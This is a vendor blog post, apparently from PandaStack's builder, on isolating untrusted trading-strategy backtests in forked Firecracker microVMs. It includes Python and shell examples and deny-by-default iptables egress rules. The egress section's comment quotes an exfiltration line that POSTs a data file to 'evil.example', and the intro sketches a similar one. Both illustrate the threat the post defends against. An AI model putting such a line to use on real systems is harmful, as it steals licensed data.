Isolating Quant Backtesting Workloads in MicroVMs

You run a strategy marketplace, or a quant desk that lets researchers submit their own signals. Either way you have the same problem: someone hands you a blob of Python — a trading strategy — and you need to run it against years of historical tick data to see how it would have performed. The strategy is untrusted code. It might be brilliant. It might be a bug. It might be `while True: exfiltrate(open('/data/alpha.parquet'))` wearing a trench coat and calling itself a mean-reversion signal. You can't tell by reading it, and you certainly can't tell at scale across thousands of submissions.

The requirements pull in opposite directions. Each strategy must be isolated from every other one so nobody reads a competitor's positions or logic. Your proprietary market data — the thing you paid a fortune to license — must never leave the building. Runs have to be deterministic and reproducible so a backtest result means something. And you want to fan a single strategy out across hundreds of parameter combinations without reloading gigabytes of ticks each time. I'm Ajay; I built PandaStack. This post is how the microVM-fork model solves all four at once, and where the sharp edges are.

Why the obvious approaches don't hold up

The tempting shortcut is a shared Python worker pool: keep the dataset loaded in one process and `exec()` each submitted strategy against it. This is fast and completely unsafe. Submitted code runs with full access to your process memory, your file descriptors, your dataset, your network. One `os.environ` read or one `requests.post` and your licensed data — or another user's strategy still resident in memory — is gone. A shared interpreter has no boundary between tenants at all.

The next step up is a container per run. Better — you get a namespace and a cgroup — but every container on the box shares the host kernel. Container escapes are a known, recurring class of bug, and a strategy that spins a busy loop or allocates 40GB takes the shared backtest host down with it, killing everyone else's runs. For code you fully control, containers are great. For arbitrary code from people you've never met, a shared kernel is a bet you're making with someone else's exploit.

A microVM is a different category. On PandaStack each backtest run is its own Firecracker microVM: its own guest kernel, its own filesystem, its own network namespace. The blast radius of a malicious strategy is one disposable VM. An escape would have to break the hypervisor itself — the same boundary AWS Lambda trusts between customers — not just the Linux syscall surface a container sees. The historical objection was startup cost, but a create is p50 179ms (p99 ~203ms) because every create restores a baked snapshot rather than cold-booting. VM-grade isolation stops costing you seconds per run.

The killer move: snapshot the dataset warm, then fork per run

Here's the trick that makes this economical. Loading a big market-data slice — parse the parquet, build the pandas frames, warm the indexes — takes seconds and gigabytes, and doing it fresh for every single backtest is madness when you're running thousands of them. So you don't. You load the data once, into one VM's memory, then snapshot that VM. Now you have a frozen image with the dataset already paged in and your backtest harness ready to go.

Every strategy run is then a fork of that snapshot, not a fresh boot. A same-host fork lands in 400–750ms and shares the parent's memory copy-on-write via MAP_PRIVATE — the multi-gigabyte dataset is mapped, not copied, and pages only diverge when a run actually writes to them. The rootfs is cloned with a reflink, so disk is copy-on-write too. Every backtest starts from the exact same warm state: same data, same indexes, same RNG seed if you baked one in. That's your reproducibility guarantee falling out of the architecture for free.

from pandastack import Sandbox

# --- Phase 1: build the warm base ONCE ---
# A trusted setup VM: load the licensed dataset into memory, then snapshot it.
base = Sandbox.create(template="code-interpreter", persistent=True)

load_data = """
import pandas as pd
# Licensed tick data lives on a read-only mount baked into the template.
ticks = pd.read_parquet('/data/ticks_2015_2024.parquet')
ticks = ticks.set_index('ts').sort_index()
ticks.to_pickle('/workspace/ticks.pkl')  # warm, ready to mmap on fork
print('loaded rows:', len(ticks))
"""
base.filesystem.write("/workspace/load.py", load_data)
print(base.exec("python3 /workspace/load.py", timeout_seconds=300).stdout)

# Freeze the warm state. Every fork inherits the dataset already in memory.
snap = base.snapshot()

# --- Phase 2: fork ONE VM per untrusted strategy run ---
def backtest(strategy_code: str, run_id: str) -> dict:
    sbx = snap.fork()  # ~400-750ms same-host, dataset shared copy-on-write
    try:
        harness = f'''
import json, pandas as pd
ticks = pd.read_pickle('/workspace/ticks.pkl')  # already resident, mmap CoW

# The untrusted strategy defines signal(df) -> positions. We call it, never trust it.
{strategy_code}

positions = signal(ticks)
rets = (positions.shift(1) * ticks['ret']).dropna()
metrics = {{
    'run_id': {run_id!r},
    'sharpe': float((rets.mean() / rets.std()) * (252 ** 0.5)),
    'total_return': float((1 + rets).prod() - 1),
    'max_drawdown': float((rets.cumsum() - rets.cumsum().cummax()).min()),
}}
with open('/workspace/result.json', 'w') as f:
    json.dump(metrics, f)
print('done', {run_id!r})
'''
        sbx.filesystem.write("/workspace/run.py", harness)
        r = sbx.exec("python3 /workspace/run.py", timeout_seconds=120)
        if r.exit_code != 0:
            return {"run_id": run_id, "error": r.stderr[-2000:]}
        # Read the structured result back through the filesystem API.
        return json.loads(sbx.filesystem.read("/workspace/result.json"))
    finally:
        sbx.kill()  # dataset never leaves; the VM and its diverged pages evaporate

import json
print(backtest("def signal(df):\n    return (df['close'] < df['close'].rolling(20).mean()).astype(int)", "mr-001"))

The submitted strategy only ever defines a `signal(df)` function; your harness calls it and computes the metrics you trust. The strategy writes nothing you read as authoritative except the numbers derived from its positions. Results come back as structured JSON through the filesystem API rather than scraped from stdout, so a strategy that prints garbage can't corrupt your leaderboard. And when the fork is killed, every page it diverged is freed — the dataset it saw was a copy-on-write view it could never write back to the parent or to the next run.

Fanning out a parameter sweep across forks

One strategy is rarely one run. A researcher wants to sweep a lookback window from 5 to 200, or grid-search two thresholds — hundreds or thousands of variants of the same logic. This is exactly what fork-per-run was built for: each variant is an independent fork of the same warm snapshot, so they share the dataset in memory and run in parallel without stepping on each other. No variant can see another variant's intermediate state, and one that blows up its own VM doesn't touch the sweep.

# Fan a parameter sweep out across forks, one microVM per combination.
# Each fork shares the baked dataset copy-on-write; failures are isolated.
cat > sweep.py <<'PY'
import concurrent.futures as cf
from pandastack import Sandbox

snap = Sandbox.get("snap-warm-ticks")  # the warm-dataset snapshot from phase 1

STRAT = "def signal(df, n): return (df['close'] < df['close'].rolling(n).mean()).astype(int)"
lookbacks = range(5, 205, 5)  # 40 variants

def run_one(n):
    sbx = snap.fork()
    try:
        code = f"{STRAT}\nimport pandas as pd\nt = pd.read_pickle('/workspace/ticks.pkl')\n" \
               f"import json; open('/workspace/r.json','w').write(json.dumps({{'n': {n}}}))"
        sbx.filesystem.write("/workspace/v.py", code)
        sbx.exec("python3 /workspace/v.py", timeout_seconds=120)
        return sbx.filesystem.read("/workspace/r.json")
    finally:
        sbx.kill()

# 40 forks in flight; a single agent holds 16,384 /30 subnets, so netns is not the limit.
with cf.ThreadPoolExecutor(max_workers=16) as pool:
    for res in pool.map(run_one, lookbacks):
        print(res)
PY
python3 sweep.py

The practical ceiling on how wide you can fan out is host memory and CPU, not the sandbox plumbing — a single agent pre-allocates 16,384 /30 subnets, so network namespaces are never the bottleneck. Because forks share the dataset copy-on-write, running 40 variants doesn't cost you 40 copies of the tick data in RAM; it costs one copy plus whatever each run actually dirties. That's the density argument for the fork model over booting 40 fresh VMs that each reload the data.

Keeping the alpha in the building: egress lockdown

Isolation between runs is only half the job. The other half is making sure the licensed dataset — and any signal derived from it — can't be exfiltrated. This is where the trench-coat strategy shows its hand: it doesn't want to compute a Sharpe ratio, it wants to `open('/data/alpha.parquet')` and POST the bytes to an address it controls. Per-VM isolation contains what the code can touch; a network egress policy contains what it can send.

Each sandbox has its own network namespace, which means egress is something you enforce at the boundary rather than something you have to trust the strategy to respect. For a backtest that needs no internet at all — which is most of them, since the data is already local — the right posture is deny-by-default: block all outbound traffic from the guest netns, and the strategy can compute against the dataset all it likes but has nowhere to send it.

# Backtests don't need the internet — the data is already local.
# Deny-by-default egress on the sandbox's own netns turns exfiltration into a no-op.
# (Run on the agent host; each sandbox has an isolated ns-<id> namespace.)
NS="ns-<sandbox-id>"

# Drop all outbound except loopback. No DNS, no HTTP, no phone-home.
ip netns exec "$NS" iptables -P OUTPUT DROP
ip netns exec "$NS" iptables -A OUTPUT -o lo -j ACCEPT

# The trench-coat strategy can now read /data all it wants:
#   while True: requests.post("http://evil.example", data=open('/data/alpha.parquet','rb'))
# ...and every packet dies at the namespace boundary. The dataset stays home.

Shared process vs container-per-run vs microVM-fork-per-run

• Shared Python process — Isolation: none; every strategy sees your memory, your fds, your dataset, your network. Data protection: impossible. Reproducibility: poor (mutable shared state leaks between runs). One bad loop takes down every run. Fast, and unsafe for anything untrusted.
• Container per run — Isolation: namespace + cgroup, but a shared host kernel; escapes are a known bug class. Data protection: possible with effort, still one kernel bug from exposure. Reproducibility: decent if you reset the container. Reloads the dataset per run unless you engineer around it.
• MicroVM fork per run (PandaStack) — Isolation: own guest kernel + own netns per run; blast radius is one disposable VM. Data protection: deny-by-default egress at the namespace boundary + read-only dataset mount. Reproducibility: every fork starts from an identical warm snapshot. Dataset shared copy-on-write, so fan-out is cheap; each run is p50 179ms to create or 400–750ms to fork same-host.

For competing sandbox and microVM platforms, the qualitative isolation story is similar — a per-VM boundary is a per-VM boundary — but the warm-dataset fork, the copy-on-write memory sharing across a fan-out, and the exact latency numbers vary by vendor; verify those against their docs before you commit.

Determinism, cross-host forks, and honest limits

A backtest result is only useful if it's reproducible. The fork model gets you most of the way there: every run starts from a byte-identical snapshot, so the dataset, library versions, and any seed you baked in are fixed. What it can't fix is non-determinism the strategy introduces itself — unseeded RNG, wall-clock reads, or floating-point reductions that reorder under threads. Pin those in your harness (seed the RNG, freeze the clock inputs, single-thread the reduction) if bit-for-bit reproducibility matters.

• Same-host forks (400–750ms) share the parent's memory copy-on-write; keep a sweep on the parent's agent to get this fast path. Cross-host forks are 1.2–3.5s because the memory image has to move over the network.
• The first spawn of a brand-new template is a cold boot (~3s) that bakes the snapshot; every create after that restores it. Bake your warm-dataset base once, not per sweep.
• Re-baking the base to refresh the dataset invalidates the old snapshot — treat the warm base as an artifact you version, and re-fork from the new one.
• A sandbox isolates execution, not your secrets: never inject data-vendor API keys or credentials the strategy shouldn't see into the guest environment.
• Always set both a per-exec timeout and a create TTL — untrusted strategies loop, and a leaked VM costs you memory.

The shape of the solution is: one trusted setup VM loads the licensed data and gets snapshotted; every untrusted strategy run is a fork of that snapshot with the dataset already warm; results come back as structured JSON through the filesystem API; and egress is denied at the namespace boundary so nothing walks out the door. You get per-strategy isolation, protected proprietary data, reproducible runs, and cheap fan-out — the four things a backtesting platform for untrusted code actually needs — on top of a real hypervisor instead of a shared interpreter and a hope.